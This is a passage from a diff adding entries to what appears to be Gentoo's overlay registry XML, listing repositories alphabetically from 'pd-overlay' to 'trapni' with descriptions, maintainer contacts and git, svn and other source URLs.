+    <source type="svn">https://pd-overlay.svn.sourceforge.net/svnroot/pd-overlay/pd-overlay</source>
+    <feed>http://sourceforge.net/export/rss2_keepsake.php?group_id=180376</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pda</name>
+    <description>This overlay contains some pda-related ebuilds (for now for
+    devices such as iPAQ hx4700, Sharp Zaurus, Asus a620 and some
+    others)</description>
+    <homepage>http://pda.gentoo.ru</homepage>
+    <owner>
+      <email>alexxy@gentoo.ru</email>
+    </owner>
+    <source type="git">git://vcs.gentoo.ru/gentoo-pda</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pentoo</name>
+    <description>The overlay contains new or updated security tool.</description>
+    <homepage>http://www.pentoo.ch</homepage>
+    <owner>
+      <email>zerochaos@pentoo.ch</email>
+    </owner>
+    <source type="svn">https://www.pentoo.ch/svn/portage/trunk/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>perl-experimental</name>
+    <description>Experimental ebuilds for Perl packages in Gentoo. Comments and
+    bugreports are welcome!</description>
+    <homepage>http://overlays.gentoo.org/proj/perl/</homepage>
+    <owner type="project">
+      <email>perl@gentoo.org</email>
+      <name>Perl Team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/perl-overlay.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/perl-overlay.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/perl-overlay.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/perl-overlay.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/perl-overlay.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>php</name>
+    <description>Development overlay for PHP</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/php.git;a=summary</homepage>
+    <owner type="project">
+      <email>php-bugs@gentoo.org</email>
+      <name>PHP team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/php.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/php.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/php.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/php.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/php.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>piczu</name>
+    <description lang="en">piczu's user overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/piczu.git;a=summary</homepage>
+    <owner type="person">
+      <email>maciag.artur@gmail.com</email>
+      <name>Artur Maciag</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/piczu.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/piczu.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/piczu.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/piczu.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/piczu.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pioto-overlay</name>
+    <description>Most things in here are still works in progress or not stable
+    enough for the main ebuild tree. If something breaks, you're on your
+    own.</description>
+    <homepage>http://blog.pioto.org</homepage>
+    <owner>
+      <email>pioto@pioto.org</email>
+    </owner>
+    <source type="git">git://git.pioto.org/pioto-overlay.git</source>
+    <feed>http://git.pioto.org/gitweb/pioto-overlay.git?a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>plan9</name>
+    <description>A collection of useful ebuilds related to Plan9.</description>
+    <homepage>http://overlays.gentoo.org/dev/anant/wiki</homepage>
+    <owner>
+      <email>anant@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/anant/plan9</source>
+    <feed>http://overlays.gentoo.org/dev/anant/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>portato</name>
+    <description>Overlay for the Portato project.</description>
+    <homepage>http://necoro.eu/portato</homepage>
+    <owner>
+        <email>gentoo@necoro.eu</email>
+        <name>René Neumann</name>
+    </owner>
+    <source type="git">git://github.com/Necoro/portato-overlay.git</source>
+    <feed>http://github.com/Necoro/portato-overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>postgresql-experimental</name>
+    <description>Development overlay for PostgreSQL, experimental
+    branch.</description>
+    <homepage>http://overlays.gentoo.org/proj/postgresql</homepage>
+    <owner type="project">
+      <email>pgsql-bugs@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/postgresql/experimental</source>
+    <feed>http://overlays.gentoo.org/proj/postgresql/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>postgresql-testing</name>
+    <description>Development overlay for PostgreSQL, testing
+    branch.</description>
+    <homepage>http://overlays.gentoo.org/proj/postgresql</homepage>
+    <owner type="project">
+      <email>pgsql-bugs@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/postgresql/testing</source>
+    <feed>http://overlays.gentoo.org/proj/postgresql/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>powerpc</name>
+    <description>Support for PowerPC-based ebuilds that are not appropriate for
+    the portage tree.</description>
+    <homepage>http://overlays.gentoo.org/proj/powerpc</homepage>
+    <owner type="project">
+      <email>ranger@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/powerpc</source>
+    <feed>http://overlays.gentoo.org/proj/powerpc/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>powerman</name>
+    <description>Overlay of Alex Efros</description>
+    <homepage>http://powerman.name/RTFM/Gentoo_ebuilds.html</homepage>
+    <owner type="person">
+      <email>powerman@powerman.name</email>
+      <name>Alex Efros</name>
+    </owner>
+    <source type="tar">http://powerman.name/download/Gentoo/powerman-overlay.tgz</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pro-audio</name>
+    <description>Evermind's overlay with ebuilds for a lot of pro-audio
+    production software.</description>
+    <homepage>http://proaudio.tuxfamily.org/wiki</homepage>
+    <owner>
+      <email>evermind@tuxfamily.org</email>
+    </owner>
+    <source type="svn">svn://svn.tuxfamily.org/svnroot/proaudio/proaudio/trunk/overlays/proaudio</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pross</name>
+    <description lang="en">Up to date ck-sources with gentoo patches.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/pross.git;a=summary</homepage>
+    <owner type="person">
+      <email>pross@pross.org.uk</email>
+      <name>Simon Prosser</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/pross.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/pross.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/pross.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/pross.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/pross.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>purak</name>
+    <description lang="en">purak's overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/purak.git;a=summary</homepage>
+    <owner type="person">
+      <email>bburaksezer@gmail.com</email>
+      <name>Burak Sezer</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/purak.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/purak.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/purak.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/purak.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/purak.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pure-funtoo</name>
+    <description>Gentoo overlay with Funtoo-only ebuilds extracted from Funtoo tree</description>
+    <homepage>http://git.goodpoint.de/?p=pure-funtoo.git;a=summary</homepage>
+    <owner>
+      <email>sebastian@pipping.org</email>
+    </owner>
+    <source type="git">git://git.goodpoint.de/pure-funtoo.git</source>
+    <feed>http://git.goodpoint.de/?p=pure-funtoo.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>python</name>
+    <description>Python overlay.</description>
+    <homepage>http://overlays.gentoo.org/proj/python/wiki</homepage>
+    <owner type="project">
+      <email>python@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/python/overlays/python</source>
+    <feed>http://overlays.gentoo.org/proj/python/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>pythonhead</name>
+    <description>Mostly Python-related ebuilds.</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>pythonhead@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/pythonhead</source>
+    <feed>http://overlays.gentoo.org/dev/pythonhead/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>qting-edge</name>
+    <description>Experimental Qt4 ebuilds and related packages, provided by
+    Gentoo's Qt team. The overlay contains ebuilds for official pre-releases,
+    and live ebuilds for both the official Nokia Qt Software git repository and
+    KDE's qt-copy subversion repository. It also has various (non-KDE) packages
+    that use Qt4.</description>
+    <homepage>http://gitorious.org/gentoo-qt/qting-edge</homepage>
+    <owner>
+      <email>yngwin@gentoo.org</email>
+    </owner>
+    <source type="git">git://gitorious.org/gentoo-qt/qting-edge.git</source>
+    <feed>http://gitorious.org/gentoo-qt.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>rafaelmartins</name>
+    <description>Rafael Martins's Gentoo overlay</description>
+    <homepage>http://overlay.rafaelmartins.eng.br/</homepage>
+    <owner>
+      <email>rafael@rafaelmartins.eng.br</email>
+      <name>Rafael Goncalves Martins</name>
+    </owner>
+    <source type="mercurial">http://hg.rafaelmartins.eng.br/gentoo-overlay/</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>ramereth</name>
+    <description>Ramereth developer overlay</description>
+    <homepage>http://github.com/ramereth/ramereth-overlay/tree/master</homepage>
+    <owner>
+      <email>ramereth@gentoo.org</email>
+    </owner>
+    <source type="git">git://github.com/ramereth/ramereth-overlay.git</source>
+    <feed>http://github.com/feeds/ramereth/commits/ramereth-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>raw</name>
+    <description>some raw stuff</description>
+    <homepage>http://code.google.com/p/raw/</homepage>
+    <owner>
+      <email>mahatma@eu.by</email>
+    </owner>
+    <source type="svn">http://raw.googlecode.com/svn/trunk</source>
+    <feed>http://code.google.com/feeds/p/raw/svnchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>rbu</name>
+    <description>Random stuff.</description>
+    <homepage>http://overlays.gentoo.org/dev/rbu/wiki</homepage>
+    <owner>
+      <email>rbu@gentoo.org</email>
+      <name>Robert Buchholz</name>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/rbu/overlay</source>
+    <feed>http://overlays.gentoo.org/dev/rbu/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>remi</name>
+    <description>Remi Cardona developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/remi.git</homepage>
+    <owner>
+      <email>remi@gentoo.org</email>
+      <name>Rèmi Cardona</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/remi.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/remi.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/remi.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/remi.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/remi.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>rion</name>
+    <description>Russian overlay with a some patched and specific
+    software</description>
+    <homepage>http://code.google.com/p/rion-overlay/</homepage>
+    <owner>
+      <email>rion4ik@gmail.com</email>
+    </owner>
+    <source type="mercurial">http://rion-overlay.googlecode.com/hg/</source>
+    <feed>http://code.google.com/feeds/p/rion-overlay/hgchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>robbat2</name>
+    <description lang="en">Developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/robbat2.git;a=summary</homepage>
+    <owner type="person">
+      <email>robbat2@gentoo.org</email>
+      <name>Robin H. Johnson</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/robbat2.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/robbat2.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/robbat2.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/robbat2.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/robbat2.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>roslin</name>
+    <description>This is roslin, my small overlay. Enjoy! (:</description>
+    <homepage>http://gitorious.org/roslin/roslin</homepage>
+    <owner>
+      <email>lazy_bum@o2.pl</email>
+      <name>Piotr Szymaniak</name>
+    </owner>
+    <source type="git">git://gitorious.org/roslin/roslin.git</source>
+    <source type="git">http://git.gitorious.org/roslin/roslin.git</source>
+    <feed>http://gitorious.org/roslin/roslin.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>rostov</name>
+    <description>Repo for development of ebuilds.</description>
+    <homepage>http://os-rostov.ru/</homepage>
+    <owner>
+      <email>oleg.kluchkin@gmail.com</email>
+    </owner>
+    <source type="svn">http://svn.os-rostov.ru/repos/overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>rox</name>
+    <description>Experimental ebuilds for the Rox Desktop.</description>
+    <homepage>http://overlays.gentoo.org/proj/rox</homepage>
+    <owner type="project">
+      <email>rox@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/rox/trunk/overlay/</source>
+    <feed>http://overlays.gentoo.org/proj/rox/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>rubenqba</name>
+    <description lang="en">User overlay with miscellaneous ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/rubenqba.git;a=summary</homepage>
+    <owner type="person">
+      <email>ruben.bressler@cerpamid.co.cu</email>
+      <name>Rubén Bressler Camps</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/rubenqba.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/rubenqba.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/rubenqba.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/rubenqba.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/rubenqba.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>ruby</name>
+    <description>Experimental ebuilds from the Ruby edge.</description>
+    <homepage>http://overlays.gentoo.org/proj/ruby/wiki</homepage>
+    <owner type="project">
+      <email>ruby@gentoo.org</email>
+      <name>Ruby Team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/ruby-overlay.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/ruby-overlay.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/ruby-overlay.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/ruby-overlay.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/ruby-overlay.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>s3d</name>
+    <description>Gentoo ebuilds for s3d and related packages. s3d is a 3d
+    network display server which can be used as 3d desktop
+    enviroment.</description>
+    <homepage>http://s3d.berlios.de/</homepage>
+    <owner>
+      <email>sven.eckelmann@gmx.de</email>
+    </owner>
+    <source type="git">git://gitorious.org/s3d-gentoo/s3d-gentoo.git</source>
+    <feed>http://gitorious.org/s3d-gentoo.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sabayon</name>
+    <description>Purpose To provide ebuilds that were created from the Sabayon
+    Linux project such as customized programs, ebuilds not in the official
+    portage, artwork, themes, etc. Bugs to
+    http://bugs.sabayonlinux.org/bugs/</description>
+    <homepage>http://sabayonlinux.org</homepage>
+    <owner>
+      <email>lxnay@sabayonlinux.org</email>
+    </owner>
+    <source type="git">git://sabayon.org/projects/overlay.git</source>
+    <feed>http://gitweb.sabayon.org/?p=overlay.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sage-on-gentoo</name>
+    <description>Split ebuilds for the Sage computer algebra system</description>
+    <homepage>http://github.com/cschwan/sage-on-gentoo</homepage>
+    <owner>
+      <email>cschwan@students.uni-mainz.de</email>
+      <name>Christopher Schwan</name>
+    </owner>
+    <source type="git">git://github.com/cschwan/sage-on-gentoo.git</source>
+    <source type="git">http://github.com/cschwan/sage-on-gentoo.git</source>
+    <feed>http://github.com/feeds/cschwan/commits/sage-on-gentoo/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sattvik</name>
+    <description lang="en">sattvik's overlay with personalized bug fixes and tweaks</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/sattvik.git;a=summary</homepage>
+    <owner type="person">
+      <email>gentoo@sattvik.com</email>
+      <name>Daniel Solano Gomez</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/sattvik.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/sattvik.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/sattvik.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/sattvik.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/sattvik.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>scarabeus</name>
+    <description>Tomas Chvatal developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/scarabeus.git</homepage>
+    <owner>
+      <email>scarabeus@gentoo.org</email>
+      <name>Tomas Chvatal</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/scarabeus.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/scarabeus.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/scarabeus.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/scarabeus.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/scarabeus.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>science</name>
+    <description>The Gentoo Science Overlay is intended as a place to work
+    outside of the main portage tree on experimental ebuilds. Our aim is to
+    increase the rate of development of scientific packages for Gentoo, but
+    ebuilds in this repository are by their very nature more experimental. If
+    you wish to use them you should be willing to help test and report
+    bugs.</description>
+    <homepage>http://overlays.gentoo.org/proj/science/wiki/en</homepage>
+    <owner type="project">
+      <email>sci@gentoo.org</email>
+      <name>sci</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/sci.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/sci.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/sci.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/sci.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/sci.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>secondlife</name>
+    <description>Matsuu's Second Life Overlay</description>
+    <homepage>http://overlays.gentoo.org/dev/matsuu/</homepage>
+    <owner>
+      <email>matsuu@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/matsuu/secondlife/</source>
+    <feed>http://overlays.gentoo.org/dev/matsuu/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>seemant</name>
+    <description>Seemant's development overlay for django and other
+    things.</description>
+    <homepage>http://overlays.gentoo.org/dev/seemant</homepage>
+    <owner>
+      <email>seemant@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/seemant</source>
+    <feed>http://overlays.gentoo.org/dev/seemant/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>serkan-overlay</name>
+    <description>Serkan Kaba's (serkan) private developer overlay</description>
+    <homepage>http://dev.gentoo.org/~serkan</homepage>
+    <owner>
+      <email>serkan@gentoo.org</email>
+    </owner>
+    <source type="bzr">http://bazaar.launchpad.net/~serkan-kaba/serkan-overlay/mainline</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sipx</name>
+    <description>This repository contains sipx and related
+    ebuilds.</description>
+    <homepage>http://scm.calivia.com/svn/sipx/gentoo</homepage>
+    <owner>
+      <email>msl@calivia.com</email>
+    </owner>
+    <source type="svn">http://scm.calivia.com/svn/sipx/gentoo</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>smithdanea</name>
+    <description lang="en">smithdanea's personal overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/smithdanea.git;a=summary</homepage>
+    <owner type="person">
+      <email>smithdanea@gmail.com</email>
+      <name>Dane Smith</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/smithdanea.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/smithdanea.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/smithdanea.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/smithdanea.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/smithdanea.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>sochotnicky</name>
+    <description lang="en">Developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/sochotnicky.git;a=summary</homepage>
+    <owner type="person">
+      <email>sochotnicky@gentoo.org</email>
+      <name>Stanislav Ochotnicky</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/sochotnicky.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/sochotnicky.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/sochotnicky.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/sochotnicky.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/sochotnicky.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>soor-overlay</name>
+    <description>Gentoo ebuild overlay with misc stuff that I find
+    interesting.</description>
+    <owner>
+      <email>l.valerimanera@gmail.com</email>
+    </owner>
+    <source type="git">git://repo.or.cz/gentoo-soor-overlay.git</source>
+    <feed>http://repo.or.cz/w/gentoo-soor-overlay.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sping</name>
+    <description>Gentoo overlay of Sebastian Pipping</description>
+    <homepage>http://git.goodpoint.de/?p=overlay-sping.git;a=summary</homepage>
+    <owner>
+      <email>sping@gentoo.org</email>
+      <name>Sebastian Pipping</name>
+    </owner>
+    <source type="git">git://git.goodpoint.de/overlay-sping.git</source>
+    <feed>http://git.goodpoint.de/?p=overlay-sping.git;a=atom</feed>
+  </repo>
+  <repo quality="testing" status="official">
+    <name>steev</name>
+    <description>Steev Klimaszewski's Overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/steev.git;a=summary</homepage>
+    <owner>
+      <email>steev@gentoo.org</email>
+      <name>Stephen Klimaszewski</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/steev.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/steev.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/steev.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/steev.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/steev.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>stormfront</name>
+    <description>Overlay maintained by Stormfront Ventures (http://www.jbox.ca/)</description>
+    <homepage>http://code.google.com/p/stormfront/</homepage>
+    <owner>
+      <email>jkomar@jbox.ca</email>
+      <name>Jason Komar</name>
+    </owner>
+    <source type="svn">http://stormfront.googlecode.com/svn/trunk/</source>
+    <feed>http://code.google.com/feeds/p/stormfront/svnchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>stuge</name>
+    <description>Various ebuilds by Konsult Stuge</description>
+    <homepage>http://stuge.se/</homepage>
+    <owner type="person">
+      <email>peter@stuge.se</email>
+      <name>Peter Stuge</name>
+    </owner>
+    <source type="git">git://git.stuge.se/stuge-overlay.git</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>sugar</name>
+    <description>Sugar (sugarlabs.org) related packages</description>
+    <homepage>http://sugarlabs.org/go/Community/Distributions/Gentoo</homepage>
+    <owner>
+      <email>alsroot@member.fsf.org</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/sugar.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/sugar.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>suka</name>
+    <description>experimental stuff of all sorts</description>
+    <homepage>http://overlays.gentoo.org/dev/suka</homepage>
+    <owner>
+      <email>suka@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/suka</source>
+    <feed>http://overlays.gentoo.org/dev/suka/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>sunrise</name>
+    <description>Ebuilds for bugs assigned to maintainer-wanted</description>
+    <homepage>http://overlays.gentoo.org/proj/sunrise</homepage>
+    <owner type="project">
+      <email>sunrise@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/sunrise/reviewed/</source>
+    <feed>http://overlays.gentoo.org/proj/sunrise/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>swegener</name>
+    <description>This overlay contains some experimental stuff, but mostly
+    stuff I quickly wrote an ebuild for or grabed it from bugzilla and did not
+    have the time to commit it to the official tree or do not consider it ready
+    for it.</description>
+    <homepage>http://dev.gentoo.org/~swegener/</homepage>
+    <owner>
+      <email>swegener@gentoo.org</email>
+    </owner>
+    <source type="rsync">rsync://rsync.gentoo.stealer.net/swegener-overlay/</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>tante</name>
+    <description>Overlay of tante</description>
+    <homepage>http://gitorious.org/projects/tante_overlay/repos/mainline</homepage>
+    <owner>
+      <email>tante@the-gay-bar.com</email>
+    </owner>
+    <source type="git">git://gitorious.org/tante_overlay/mainline.git</source>
+    <feed>http://gitorious.org/tante_overlay.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>tcl-8.6</name>
+    <description>Tcl/Tk 8.8, Itcl/Itk 4 (beta) and other fixed
+    packages</description>
+    <homepage>https://overlays.gentoo.org/dev/mescalinum</homepage>
+    <owner>
+      <email>mescalinum@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/mescalinum/tcl-8.6</source>
+    <feed>http://overlays.gentoo.org/dev/mescalinum/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>tcl-multislot</name>
+    <description>Tcl/Tk multi-slot system, with tcltk eselect module for
+    switching across multiple versions (actually: 8.4 8.5 8.6)</description>
+    <homepage>https://overlays.gentoo.org/dev/mescalinum</homepage>
+    <owner>
+      <email>mescalinum@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/mescalinum/tcl-multislot</source>
+    <feed>http://overlays.gentoo.org/dev/mescalinum/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>THE</name>
+    <description>Miscellaneous ebuilds not yet in portage</description>
+    <owner>
+      <email>rmh3093@gmail.com</email>
+    </owner>
+    <source type="git">git://zen-sources.org/zen/THE.git</source>
+    <feed>http://git.zen-sources.org/?p=THE.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>thousand-parsec</name>
+    <description>Overlay for the Thousand Parsec framework for turn-based space
+    empire building games.</description>
+    <homepage>http://www.mavrinac.com/index.cgi?page=tp</homepage>
+    <owner>
+      <email>mavrinac@gmail.com</email>
+    </owner>
+    <source type="git">git://git.thousandparsec.net/git/gentoo-overlay.git</source>
+    <feed>http://git.thousandparsec.net/gitweb/gitweb.cgi?p=gentoo-overlay.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>toolchain</name>
+    <description>Toolchain ebuilds that are unsuitable for the tree. Snapshots,
+    unstable versions, etc...</description>
+    <homepage>http://overlays.gentoo.org/proj/toolchain/wiki</homepage>
+    <owner type="project">
+      <email>toolchain@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/toolchain</source>
+    <feed>http://overlays.gentoo.org/proj/toolchain/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>trapni</name>
+    <description>trapni's private developer overlay (mostly covering
+    YaCS/server related ebuilds for now)</description>
+    <homepage>http://overlays.gentoo.org/dev/trapni/</homepage>
+    <owner>
+      <email>trapni@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/trapni/overlay</source>
